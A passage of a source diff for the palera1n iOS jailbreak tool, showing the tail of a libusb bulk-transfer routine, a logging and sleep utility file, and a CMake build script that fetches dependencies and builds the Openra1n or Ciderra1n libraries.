+                result.sz = transferred;
+                return result;
+            }
+            maxLen = (uint32_t)(max << 19);
+        }
+        else
+        #endif
+        {
+            // Just 1MB by default?
+            maxLen = 0x100000;
+        }
+    }
+    // If we get here, we have to chunk our data
+    for(int done = transferred; done < len; )
+    {
+        uint32_t chunk = len - done;
+        if(chunk > maxLen) chunk = maxLen;
+        transferred = 0;
+        ret = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0);
+        done += transferred;
+        if(ret == LIBUSB_SUCCESS) continue;
+        if(ret != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) {
+            result.ret = USB_TRANSFER_ERROR;
+            result.sz = transferred;
+            return result;
+        }
+        maxLen /= 2;
+    }
+
+    result.ret = USB_TRANSFER_OK;
+    result.sz = transferred;
+
+    return result;
+}
+
+void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
+    handle->vid = vid;
+    handle->pid = pid;
+    handle->device = NULL;
+}
+
+#endif // __APPLE__

1stparty/libopenra1n/src/utils.c

@@ -0,0 +1,127 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <utils.h>
+
+#include <stdint.h>
+#include <stdio.h>
+#include <stdbool.h>
+#include <stdarg.h>
+#ifdef _WIN32
+# include <windows.h>
+#endif
+#include <time.h>
+
+uint8_t gDebugLevel = 0;
+bool gSilentLogs = false;
+bool gColoredLogs = true;
+
+static const char *level_names[] = {
+    [LOG_INFO]          = "INFO",
+    [LOG_ERROR]         = "ERROR",
+    [LOG_VERBOSE]       = "VERBOSE",
+};
+
+static const char *level_colors[] = {
+    [LOG_INFO]          = CYAN_COLOR,
+    [LOG_ERROR]         = RED_COLOR,
+    [LOG_VERBOSE]       = RESET_COLOR,
+};
+
+static inline void _get_timestamp(char *buf, size_t len)
+{
+    time_t t = time(NULL);
+    struct tm tm_info;
+
+    #ifdef _WIN32
+    localtime_s(&tm_info, &t);
+    #else
+    localtime_r(&t, &tm_info);
+    #endif
+
+    strftime(buf, len, "%Y/%m/%d %H:%M:%S", &tm_info);
+}
+
+void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...)
+{
+    if (gSilentLogs) return;
+    if (level == LOG_VERBOSE && gDebugLevel < 1) return;
+
+    va_list args;
+    va_start(args, fmt);
+
+    char tag_buf[32];
+    char ts[32];
+
+    _get_timestamp(ts, sizeof(ts));
+    snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_names[level]);
+
+    if (!gColoredLogs) {
+        printf(" %9s [%s] => ", tag_buf, ts);
+    } else {
+        printf(" %s%9s%s [%s%s%s] => ",
+            level_colors[level],
+            tag_buf,
+            RESET_COLOR,
+            GRAY_COLOR,
+            ts,
+            RESET_COLOR
+        );
+    }
+
+    vprintf(fmt, args);
+
+    if (gDebugLevel >= 2) {
+        if (gColoredLogs) {
+            printf("\n      %s└────[%sTRACE(%d)%s = %s()[%s:%d]]",
+                RESET_COLOR,
+                MAGENTA_COLOR,
+                gDebugLevel,
+                RESET_COLOR,
+                func,
+                file,
+                line
+            );
+        } else {
+            printf("\n      └────[TRACE(%d) = %s()[%s:%d]]",
+                gDebugLevel,
+                func,
+                file,
+                line
+            );
+        }
+    }
+
+    putchar('\n');
+
+    va_end(args);
+}
+
+void sleep_ms(unsigned ms) {
+    #ifdef _WIN32
+    Sleep(ms);
+    #else
+    struct timespec ts;
+
+    ts.tv_sec = ms / 1000;
+    ts.tv_nsec = (ms % 1000) * 1000000L;
+    nanosleep(&ts, NULL);
+    #endif
+}

CMakeLists.txt

@@ -0,0 +1,672 @@
+cmake_minimum_required(VERSION 3.12)
+project(palera1n VERSION 3.0)
+
+include(FetchContent)
+include(ExternalProject)
+
+set(CMAKE_CXX_STANDARD 11)
+set(CMAKE_CXX_STANDARD_REQUIRED True)
+if(NOT IOS)
+set(CMAKE_OSX_DEPLOYMENT_TARGET "10.11")
+else()
+set(CMAKE_OSX_DEPLOYMENT_TARGET "9.0")
+endif()
+set(CMAKE_EXPORT_COMPILE_COMMANDS ON)
+set(CROSS_HOST_TRIPLE "" CACHE STRING "Cross-compile target triple for Autotools (e.g., x86_64-linux-musl)")
+
+option(WITH_GUI "Build with wxWidgets GUI" OFF)
+option(WITH_STATIC "Build with static wxWidgets / deps" OFF)
+option(WITH_TUI "Build with TUI" OFF)
+option(WITH_RAMDISK "Build with ramdisk" ON)
+option(WITH_BINPACK "Build with binpack" ON)
+option(WITH_CIDERRAIN "Build with Ciderra1n instead of Openra1n" OFF)
+
+# =========================
+# MARK: BUILD REQUIREMENTS
+# =========================
+
+if(LINUX AND WITH_STATIC)
+    if(NOT CROSS_HOST_TRIPLE MATCHES "musl" AND NOT CMAKE_C_COMPILER_TARGET MATCHES "musl" AND NOT CMAKE_C_COMPILER MATCHES "musl")
+        message(FATAL_ERROR "Static builds on Linux require a musl toolchain. Please specify a musl cross-compiler or set -DCROSS_HOST_TRIPLE=...-linux-musl")
+    endif()
+endif()
+
+if(MINGW AND NOT WITH_STATIC)
+    message(FATAL_ERROR "MinGW builds must be static. Please configure with -DWITH_STATIC=1")
+endif()
+
+if(MINGW AND WITH_TUI)
+    message(FATAL_ERROR "-DWITH_TUI=1 is not supported on MinGW builds.")
+endif()
+
+if(MINGW AND WITH_CIDERRAIN)
+    message(FATAL_ERROR "-DWITH_CIDERRAIN=1 is not supported on MinGW builds.")
+endif()
+
+if(IOS AND (WITH_TUI OR WITH_GUI))
+    message(FATAL_ERROR "-DWITH_TUI=1 or -DWITH_GUI=1 is not supported on iOS builds.")
+endif()
+
+if(IOS AND WITH_CIDERRAIN)
+    message(FATAL_ERROR "-DWITH_CIDERRAIN=1 is not supported on iOS builds.")
+endif()
+
+# =========================
+# SETUP
+# =========================
+
+if(MINGW)
+    set(DEPS_PREFIX /mingw64)
+elseif(CMAKE_SYSROOT)
+    set(DEPS_PREFIX "${CMAKE_SYSROOT}/usr")
+else()
+    set(DEPS_PREFIX "${CMAKE_BINARY_DIR}/sysroot/usr/local")
+endif()
+
+set(SYSROOT_FLAGS "")
+if(CMAKE_SYSROOT)
+    set(SYSROOT_FLAGS "--sysroot=${CMAKE_SYSROOT}")
+endif()
+
+set(AUTOTOOLS_BUILD_TRIPLE "x86_64-linux-gnu")
+
+# =========================
+# MARK: CMAKE DEPENDENCIES
+# =========================
+
+set(wxBUILD_INSTALL OFF CACHE BOOL "" FORCE)
+set(JSON_Install OFF CACHE BOOL "" FORCE)
+
+# wxWidgets
+if(WITH_GUI)
+    if(WITH_STATIC)
+        set(wxBUILD_SHARED OFF CACHE BOOL "" FORCE)
+        FetchContent_Declare(
+            wxWidgets
+            GIT_REPOSITORY https://github.com/wxWidgets/wxWidgets.git
+            GIT_TAG v3.3.3
+            PATCH_COMMAND
+                patch --forward --ignore-whitespace -p1 < "${CMAKE_SOURCE_DIR}/patches/wxWidgets/0001-cpp11-support.patch" || true
+        )
+        FetchContent_MakeAvailable(wxWidgets)
+        set(WX_LIBRARIES wxcore wxbase wxnet)
+    else()
+        find_package(wxWidgets REQUIRED COMPONENTS core base net)
+        include(${wxWidgets_USE_FILE})
+        set(WX_LIBRARIES ${wxWidgets_LIBRARIES})
+    endif()
+endif()
+
+# nlohmann_json
+FetchContent_Declare(
+    nlohmann_json
+    GIT_REPOSITORY https://github.com/nlohmann/json.git
+    GIT_TAG v3.11.3
+)
+FetchContent_MakeAvailable(nlohmann_json)
+
+# =========================
+# MARK: TARGET
+# =========================
+
+file(GLOB_RECURSE SOURCES CONFIGURE_DEPENDS
+    "src/*.cpp"
+    "src/*.c"
+    "src/*.h"
+    "src/*.hpp"
+)
+
+if((APPLE AND NOT IOS) AND WITH_GUI)
+    set(APP_ICON "${CMAKE_CURRENT_SOURCE_DIR}/resources/palera1n.icns")
+    add_executable(palera1n MACOSX_BUNDLE ${SOURCES})
+    target_sources(palera1n PRIVATE ${APP_ICON})
+    set_source_files_properties(${APP_ICON} PROPERTIES MACOSX_PACKAGE_LOCATION "Resources")
+    set_target_properties(palera1n PROPERTIES
+        MACOSX_BUNDLE_INFO_PLIST "${CMAKE_CURRENT_SOURCE_DIR}/resources/Info.plist"
+        MACOSX_BUNDLE_ICON_FILE palera1n.icns
+    )
+elseif(IOS)
+    add_executable(palera1n MACOSX_BUNDLE ${SOURCES})
+
+    set_target_properties(palera1n PROPERTIES
+        XCODE_ATTRIBUTE_PRODUCT_BUNDLE_IDENTIFIER "in.palera.palera1n"
+        XCODE_ATTRIBUTE_AD_HOC_CODE_SIGNING_ALLOWED "YES"
+        XCODE_ATTRIBUTE_CODE_SIGNING_ALLOWED "YES"
+        XCODE_ATTRIBUTE_CODE_SIGNING_REQUIRED "YES"
+        XCODE_ATTRIBUTE_CODE_SIGN_IDENTITY "-"
+        XCODE_ATTRIBUTE_CODE_SIGN_ENTITLEMENTS "${CMAKE_SOURCE_DIR}/resources/entitlements.xml"
+    )
+elseif(MINGW AND WITH_GUI)
+    set(APP_MANIFEST_RC "${CMAKE_SOURCE_DIR}/resources/app.rc")
+    add_executable(palera1n WIN32 ${SOURCES} ${APP_MANIFEST_RC})
+else()
+    add_executable(palera1n ${SOURCES})
+endif()
+
+target_include_directories(palera1n PRIVATE "${DEPS_PREFIX}/include")
+target_link_directories(palera1n PRIVATE "${DEPS_PREFIX}/lib")
+target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json)
+
+if(WITH_RAMDISK)
+    target_compile_definitions(palera1n PRIVATE WITH_RAMDISK)
+endif()
+if(WITH_BINPACK)
+    target_compile_definitions(palera1n PRIVATE WITH_BINPACK)
+endif()
+if(WITH_GUI)
+    target_link_libraries(palera1n PRIVATE ${WX_LIBRARIES})
+    target_compile_definitions(palera1n PRIVATE WITH_GUI)
+endif()
+if(WITH_TUI)
+    target_compile_definitions(palera1n PRIVATE WITH_TUI)
+endif()
+if(WITH_CIDERRAIN)
+    target_compile_definitions(palera1n PRIVATE WITH_CIDERRAIN)
+endif()
+
+execute_process(
+    COMMAND git rev-parse HEAD
+    WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
+    OUTPUT_VARIABLE GIT_HASH
+    OUTPUT_STRIP_TRAILING_WHITESPACE
+)
+
+execute_process(
+    COMMAND git rev-parse --abbrev-ref --symbolic-full-name "@{u}"
+    WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
+    OUTPUT_VARIABLE GIT_BRANCH
+    OUTPUT_STRIP_TRAILING_WHITESPACE
+    ERROR_QUIET
+)
+
+execute_process(
+    COMMAND git remote get-url origin
+    WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
+    OUTPUT_VARIABLE GIT_URL
+    OUTPUT_STRIP_TRAILING_WHITESPACE
+)
+
+target_compile_definitions(palera1n PRIVATE
+    GIT_HASH="${GIT_HASH}"
+    GIT_BRANCH="${GIT_BRANCH}"
+    GIT_URL="${GIT_URL}"
+)
+
+# =========================
+# MARK: LINKS
+# =========================
+
+if(APPLE)
+    find_library(IOKIT IOKit)
+    find_library(COREFOUNDATION CoreFoundation)
+    find_library(SECURITY Security)
+    target_link_libraries(palera1n PRIVATE ${IOKIT} ${COREFOUNDATION} ${SECURITY})
+endif()
+
+if(WIN32)
+    target_link_libraries(palera1n PRIVATE setupapi cfgmgr32)
+endif()
+
+# =========================
+# MARK: NON-CMAKE DEPENDENCIES
+# =========================
+
+# ra1ns
+if(WITH_CIDERRAIN)
+    message(STATUS "Building with Ciderra1n support")
+
+    # TODO: get rid
+    execute_process(
+        COMMAND patch --batch --forward -p1 -i ${CMAKE_SOURCE_DIR}/patches/liteusb/0001-cpp-compatible.patch
+        WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/external/liteusb
+        RESULT_VARIABLE LITEUSB_PATCH_RESULT
+    )
+
+    if(IOS)
+        execute_process(
+            COMMAND xcrun --sdk iphoneos --show-sdk-path
+            OUTPUT_VARIABLE IOS_SDK
+            OUTPUT_STRIP_TRAILING_WHITESPACE
+        )
+
+        execute_process(
+            COMMAND ${CMAKE_COMMAND} -E env
+                "CFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
+                "CXXFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
+                "LDFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}"
+                make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} AR=${CMAKE_AR}
+            WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n
+            RESULT_VARIABLE CIDERRA1N_BUILD_RESULT
+        )
+    else()
+        execute_process(
+            COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER}
+            WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libciderra1n
+            RESULT_VARIABLE CIDERRA1N_BUILD_RESULT
+        )
+    endif()
+
+    if(NOT CIDERRA1N_BUILD_RESULT EQUAL 0)
+        message(FATAL_ERROR "Failed to build Ciderra1n.")
+    endif()
+
+    set(CIDERRAIN_INCLUDE_DIR   "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/build/include")
+    set(CIDERRAIN_LIB           "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/build/lib/ciderra1n/libciderra1n.a")
+    target_include_directories(palera1n PRIVATE ${CIDERRAIN_INCLUDE_DIR})
+    target_link_libraries(palera1n PRIVATE "${CIDERRAIN_LIB}")
+
+    if(IOS)
+        target_include_directories(palera1n PRIVATE "${CMAKE_SOURCE_DIR}/apple-include-iphoneos")
+    endif()
+
+    if(LINUX)
+        set(LITEUSB_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libciderra1n/external/liteusb/include")
+        target_compile_definitions(palera1n PRIVATE LITEUSB_PLATFORM_LINUX)
+        target_include_directories(palera1n PRIVATE ${LITEUSB_INCLUDE_DIR})
+    endif()
+
+else()
+    message(STATUS "Building with Openra1n support")
+
+    if(IOS)
+        execute_process(
+            COMMAND xcrun --sdk iphoneos --show-sdk-path
+            OUTPUT_VARIABLE IOS_SDK
+            OUTPUT_STRIP_TRAILING_WHITESPACE
+        )
+
+        execute_process(
+            COMMAND ${CMAKE_COMMAND} -E env
+                "CFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
+                "CXXFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET} -I${CMAKE_SOURCE_DIR}/apple-include-iphoneos"
+                "LDFLAGS=-isysroot ${IOS_SDK} -arch arm64 -miphoneos-version-min=${CMAKE_OSX_DEPLOYMENT_TARGET}"
+                make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER} AR=${CMAKE_AR}
+            WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n
+            RESULT_VARIABLE OPENRA1N_BUILD_RESULT
+        )
+    else()
+        execute_process(
+            COMMAND make CC=${CMAKE_C_COMPILER} CXX=${CMAKE_CXX_COMPILER}
+            WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/1stparty/libopenra1n
+            RESULT_VARIABLE OPENRA1N_BUILD_RESULT
+        )
+    endif()
+
+    if(NOT OPENRA1N_BUILD_RESULT EQUAL 0)
+        message(FATAL_ERROR "Failed to build Openra1n.")
+    endif()
+
+    set(OPENRA1N_INCLUDE_DIR "${CMAKE_SOURCE_DIR}/1stparty/libopenra1n/build/include")
+    set(OPENRA1N_LIB "${CMAKE_SOURCE_DIR}/1stparty/libopenra1n/build/lib/openra1n/libopenra1n.a")
+
+    target_include_directories(palera1n PRIVATE ${OPENRA1N_INCLUDE_DIR})
+    target_link_libraries(palera1n PRIVATE "${OPENRA1N_LIB}")
+
+    if(IOS)
+        target_include_directories(palera1n PRIVATE "${CMAKE_SOURCE_DIR}/apple-include-iphoneos")
+    endif()
+endif()
+
+# idevice
+if(WITH_GUI OR WITH_TUI)
+    set(IDevice_CARGO_ARGS
+        --release
+        --no-default-features
+        --features "usbmuxd ring tcp"
+    )
+
+    set(IDevice_ENV)
+
+    if(CROSS_HOST_TRIPLE)
+        if(CROSS_HOST_TRIPLE STREQUAL "i486-linux-musl")
+            set(RUST_TARGET "i686-unknown-linux-musl")
+        elseif(CROSS_HOST_TRIPLE STREQUAL "x86_64-linux-musl")
+            set(RUST_TARGET "x86_64-unknown-linux-musl")
+        elseif(CROSS_HOST_TRIPLE STREQUAL "armel-linux-musleabi")
+            set(RUST_TARGET "arm-unknown-linux-musleabi")
+        elseif(CROSS_HOST_TRIPLE STREQUAL "aarch64-linux-musl")
+            set(RUST_TARGET "aarch64-unknown-linux-musl")
+        endif()
+
+        if(RUST_TARGET)
+            string(TOUPPER "${RUST_TARGET}" RUST_TARGET_ENV)
+            string(REPLACE "-" "_" RUST_TARGET_ENV "${RUST_TARGET_ENV}")
+
+            list(APPEND IDevice_CARGO_ARGS --target ${RUST_TARGET})
+            list(APPEND IDevice_ENV
+                "CC=${CMAKE_C_COMPILER}"
+                "AR=${CMAKE_AR}"
+                "CARGO_TARGET_${RUST_TARGET_ENV}_LINKER=${CMAKE_C_COMPILER}"
+            )
+        endif()
+
+    elseif(MINGW)
+        set(RUST_TARGET "x86_64-pc-windows-gnu")
+
+        list(APPEND IDevice_CARGO_ARGS --target ${RUST_TARGET})
+
+        list(APPEND IDevice_ENV
+            "CC=${CMAKE_C_COMPILER}"
+            "AR=${CMAKE_AR}"
+            "CARGO_TARGET_X86_64_PC_WINDOWS_GNU_LINKER=${CMAKE_C_COMPILER}"
+        )
+    endif()
+
+    ExternalProject_Add(idevice_ep
+        GIT_REPOSITORY https://github.com/jkcoxson/idevice.git
+        GIT_TAG v0.1.65
+
+        PATCH_COMMAND
+            patch --forward --ignore-whitespace -p1 < "${CMAKE_SOURCE_DIR}/patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch" || true
+
+        CONFIGURE_COMMAND ""
+
+        BUILD_COMMAND
+            ${CMAKE_COMMAND} -E env
+                ${IDevice_ENV}
+                cargo build
+                ${IDevice_CARGO_ARGS}
+                --manifest-path <SOURCE_DIR>/ffi/Cargo.toml
+
+            COMMAND ${CMAKE_COMMAND} -E chdir <SOURCE_DIR>/cpp
+                ${CMAKE_COMMAND}
+                    -B build
+                    -DCMAKE_BUILD_TYPE=Release
+                    -DIDEVICE_FFI_PATH=<SOURCE_DIR>/target/${RUST_TARGET}/release/${FFI_LIB_NAME}
+                    "-DCMAKE_CXX_FLAGS=-Du_int64_t=uint64_t -Du_int32_t=uint32_t -Du_int16_t=uint16_t -Du_int8_t=uint8_t"
+
+            COMMAND ${CMAKE_COMMAND} --build <SOURCE_DIR>/cpp/build --config Release
+
+        INSTALL_COMMAND
+            ${CMAKE_COMMAND} -E make_directory <INSTALL_DIR>/lib/idevice
+            COMMAND ${CMAKE_COMMAND} -E make_directory <INSTALL_DIR>/include
+
+            COMMAND ${CMAKE_COMMAND} -E copy
+                <SOURCE_DIR>/target/${RUST_TARGET}/release/libidevice_ffi.a
+                <INSTALL_DIR>/lib/idevice/libidevice_ffi.a
+
+            COMMAND ${CMAKE_COMMAND} -E copy
+                <SOURCE_DIR>/cpp/build/libidevice++.a
+                <INSTALL_DIR>/lib/idevice/libidevice++.a
+
+            COMMAND ${CMAKE_COMMAND} -E copy_directory
+                <SOURCE_DIR>/cpp/include
+                <INSTALL_DIR>/include
+
+        BUILD_IN_SOURCE 1
+    )
+
+    ExternalProject_Get_Property(idevice_ep install_dir)
+    set(IDEVICE_INCLUDE_DIR "${install_dir}/include")
+    set(IDEVICE_LIBRARY "${install_dir}/lib/idevice/libidevice++.a")
+    set(IDEVICE_FFI_LIBRARY "${install_dir}/lib/idevice/libidevice_ffi.a")
+    add_dependencies(palera1n idevice_ep)
+    target_include_directories(palera1n PRIVATE ${IDEVICE_INCLUDE_DIR})
+    target_link_libraries(palera1n PRIVATE "${IDEVICE_LIBRARY}" "${IDEVICE_FFI_LIBRARY}")
+    if(MINGW)
+        target_link_libraries(palera1n PRIVATE bcrypt userenv ntdll)
+    endif()
+    target_compile_definitions(palera1n PRIVATE LIBPLIST_STATIC)
+endif()
+
+if(CMAKE_BUILD_TYPE STREQUAL "Release")
+    if(APPLE)
+        target_link_options(palera1n PRIVATE
+            -Wl,-dead_strip
+            -Wl,-x
+        )
+    elseif(MINGW)
+        target_link_options(palera1n PRIVATE
+            -Wl,--gc-sections
+            -Wl,--strip-all
+        )
+    elseif(LINUX)
+        target_link_options(palera1n PRIVATE
+            -Wl,--gc-sections
+            -Wl,--strip-all
+        )
+    endif()
+endif()
+
+if(WITH_STATIC)
+    find_program(PKG_CONFIG_EXECUTABLE NAMES pkg-config)
+
+    set(BASE_CFLAGS "-g -I${DEPS_PREFIX}/include -L${DEPS_PREFIX}/lib")
+    set(BASE_LDFLAGS "-g -L${DEPS_PREFIX}/lib")
+
+    if(LINUX)
+        set(PLATFORM_CFLAGS "-fdata-sections -ffunction-sections -D_FILE_OFFSET_BITS=64 -D_TIME_BITS=64")
+        set(PLATFORM_LDFLAGS "-Wl,--gc-sections -fdata-sections -ffunction-sections")
+    elseif(APPLE)
+        set(PLATFORM_CFLAGS "")
+        set(PLATFORM_LDFLAGS "-Wl,-dead_strip")
+    else()
+        set(PLATFORM_CFLAGS "")
+        set(PLATFORM_LDFLAGS "")
+    endif()
+
+    set(SYSROOT_ENV_FLAG "")
+    if(CMAKE_SYSROOT)
+        set(SYSROOT_ENV_FLAG "--sysroot=${CMAKE_SYSROOT}")
+    endif()
+
+    set(PKG_ENV
+        env
+        "CC=${CMAKE_C_COMPILER}"
+        "CXX=${CMAKE_CXX_COMPILER}"
+        PKG_CONFIG=${PKG_CONFIG_EXECUTABLE}
+        PKG_CONFIG_PATH=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
+        PKG_CONFIG_LIBDIR=${DEPS_PREFIX}/lib/pkgconfig:${DEPS_PREFIX}/share/pkgconfig
+
+        CFLAGS=${BASE_CFLAGS}\ ${PLATFORM_CFLAGS}\ ${SYSROOT_ENV_FLAG}
+        CPPFLAGS=-I${DEPS_PREFIX}/include
+        LDFLAGS=${BASE_LDFLAGS}\ ${PLATFORM_LDFLAGS}\ ${SYSROOT_ENV_FLAG}
+
+        C_INCLUDE_PATH=${DEPS_PREFIX}/include
+        CPLUS_INCLUDE_PATH=${DEPS_PREFIX}/include
+
+        mbedtls_INCLUDES=${DEPS_PREFIX}/include
+        mbedtls_LIBDIR=${DEPS_PREFIX}/lib
+        mbedtls_LIBS=-lmbedtls\ -lmbedx509\ -lmbedcrypto
+
+        lt_cv_deplibs_check_method=pass_all
+        lt_cv_file_magic_cmd=/usr/bin/file
+        cross_compiling=yes
+    )
+
+    if(MINGW)
+        set(IMD_AUTOTOOLS_ARGS --disable-static --enable-shared)
+    else()
+        set(IMD_AUTOTOOLS_ARGS --enable-static --disable-shared)
+        if(CROSS_HOST_TRIPLE)
+            list(APPEND IMD_AUTOTOOLS_ARGS "--host=${CROSS_HOST_TRIPLE}" "--build=${AUTOTOOLS_BUILD_TRIPLE}")
+        endif()
+        set(MBEDUTILS_ARGS --with-mbedtls)
+    endif()
+
+    if((LINUX OR MINGW) AND NOT WITH_CIDERRAIN)
+        ExternalProject_Add(libusb_ep
+            GIT_REPOSITORY https://github.com/libusb/libusb.git
+            GIT_TAG v1.0.30
+            UPDATE_COMMAND ""
+            CONFIGURE_COMMAND
+                ${PKG_ENV}
+                sh -l ./autogen.sh --prefix=${DEPS_PREFIX} --disable-udev ${IMD_AUTOTOOLS_ARGS}
+            BUILD_COMMAND make -j
+            INSTALL_COMMAND make install
+            BUILD_IN_SOURCE 1
+        )
+
+        add_dependencies(palera1n libusb_ep)
+    endif()
+
+    if(LINUX)
+        ExternalProject_Add(ncurses_ep
+            URL https://ftp.gnu.org/pub/gnu/ncurses/ncurses-6.4.tar.gz
+            CONFIGURE_COMMAND
+                ${PKG_ENV}
+                sh <SOURCE_DIR>/configure
+                    --prefix=${DEPS_PREFIX}
+                    ${IMD_AUTOTOOLS_ARGS}
+                    --disable-stripping
+                    --enable-overwrite
+                    --enable-widec
+                    --with-default-terminfo-dir=${DEPS_PREFIX}/share/terminfo
+                    --with-terminfo-dirs=${DEPS_PREFIX}/share/terminfo
+            BUILD_COMMAND make -j
+            BUILD_IN_SOURCE 1
+            INSTALL_COMMAND
+                ${CMAKE_COMMAND} -E env ${PKG_ENV}
+                sh -c
+                "make install TERMINFO=${DEPS_PREFIX}/share/terminfo && \
+                ln -sf ${DEPS_PREFIX}/lib/libncursesw.a ${DEPS_PREFIX}/lib/libncurses.a && \
+                ln -sf ${DEPS_PREFIX}/lib/libtinfow.a ${DEPS_PREFIX}/lib/libtinfo.a"
+        )
+
+        add_dependencies(palera1n ncurses_ep)
+    endif()
+
+    if(MINGW)
+        if(NOT WITH_CIDERRAIN)
+            target_link_libraries(palera1n PRIVATE
+                usb-1.0
+            )
+        endif()
+
+        set(DLLS
+            libstdc++-6.dll
+            libgcc_s_seh-1.dll
+            libwinpthread-1.dll
+        )
+
+        if(NOT WITH_CIDERRAIN)
+            list(APPEND DLLS
+                libusb-1.0.dll
+            )
+        endif()
+
+        execute_process(
+            COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin"
+            OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN
+            OUTPUT_STRIP_TRAILING_WHITESPACE
+        )
+
+        # all dlls must be in the same directory as the executable
+        foreach(DLL ${DLLS})
+            add_custom_command(TARGET palera1n POST_BUILD
+                COMMAND ${CMAKE_COMMAND} -E copy_if_different
+                    "${MSYSTEM_PREFIX_WIN}/${DLL}"
+                    $<TARGET_FILE_DIR:palera1n>
+            )
+        endforeach()
+    else()
+        if(LINUX)
+            target_compile_options(palera1n PRIVATE "-static")
+            target_link_options(palera1n PRIVATE "-static")
+
+            target_link_libraries(palera1n PRIVATE
+                "${DEPS_PREFIX}/lib/libncurses.a"
+            )
+            if(NOT WITH_CIDERRAIN)
+                target_link_libraries(palera1n PRIVATE
+                    "${DEPS_PREFIX}/lib/libusb-1.0.a"
+                )
+            endif()
+        elseif(APPLE)
+            if(WITH_TUI)
+                find_package(Curses REQUIRED)
+                target_include_directories(palera1n PRIVATE ${CURSES_INCLUDE_DIRS})
+                target_link_libraries(palera1n PRIVATE ${CURSES_LIBRARIES})
+            endif()
+        endif()
+    endif()
+else()
+    if(WITH_TUI)
+        find_package(Curses REQUIRED)
+        target_include_directories(palera1n PRIVATE ${CURSES_INCLUDE_DIRS})
+        target_link_libraries(palera1n PRIVATE ${CURSES_LIBRARIES})
+    endif()
+
+    if(NOT APPLE AND NOT CIDERRAIN)
+        pkg_check_modules(LIBUSB REQUIRED libusb-1.0)
+        target_include_directories(palera1n PRIVATE ${LIBUSB_INCLUDE_DIRS})
+        target_link_libraries(palera1n PRIVATE ${LIBUSB_LIBRARIES})
+        target_compile_options(palera1n PRIVATE ${LIBUSB_CFLAGS_OTHER})
+    endif()
+endif()
+
+# =========================
+# MARK: INSTALL
+# =========================
+
+if(LINUX AND NOT MINGW)
+    install(TARGETS palera1n RUNTIME DESTINATION bin)
+elseif(IOS)
+    install(PROGRAMS "${CMAKE_CURRENT_BINARY_DIR}/Debug-iphoneos/palera1n.app/palera1n" DESTINATION bin)
+elseif(APPLE AND WITH_GUI)
+    install(TARGETS palera1n BUNDLE DESTINATION .)
+elseif(APPLE)
+    install(TARGETS palera1n RUNTIME DESTINATION bin)
+elseif(MINGW)
+    install(TARGETS palera1n
+        RUNTIME DESTINATION .
+    )
+
+    install(FILES
+        "${CMAKE_CURRENT_BINARY_DIR}/libstdc++-6.dll"
+        "${CMAKE_CURRENT_BINARY_DIR}/libgcc_s_seh-1.dll"
+        "${CMAKE_CURRENT_BINARY_DIR}/libwinpthread-1.dll"
+        DESTINATION .
+    )
+
+    if(NOT WITH_CIDERRAIN)
+        install(FILES
+            "${CMAKE_CURRENT_BINARY_DIR}/libusb-1.0.dll"
+            DESTINATION .
+        )
+    endif()
+endif()
+
+if((LINUX AND NOT MINGW) OR IOS OR (APPLE AND NOT IOS AND NOT WITH_GUI))
+    install(FILES "${CMAKE_SOURCE_DIR}/docs/palera1n.1" DESTINATION share/man/man1)
+    install(FILES "${CMAKE_SOURCE_DIR}/docs/p1ctl.8" DESTINATION share/man/man8)
+endif()
+
+set(CPACK_PACKAGE_NAME "palera1n")
+set(CPACK_PACKAGE_VERSION "0")
+set(CPACK_PACKAGE_FILE_NAME "palera1n")
+
+if(MINGW)
+    set(CPACK_GENERATOR "NSIS64")
+
+    set(CPACK_PACKAGE_INSTALL_DIRECTORY "palera1n")
+    set(CPACK_NSIS_DISPLAY_NAME "palera1n")
+    set(CPACK_NSIS_PACKAGE_NAME "palera1n")
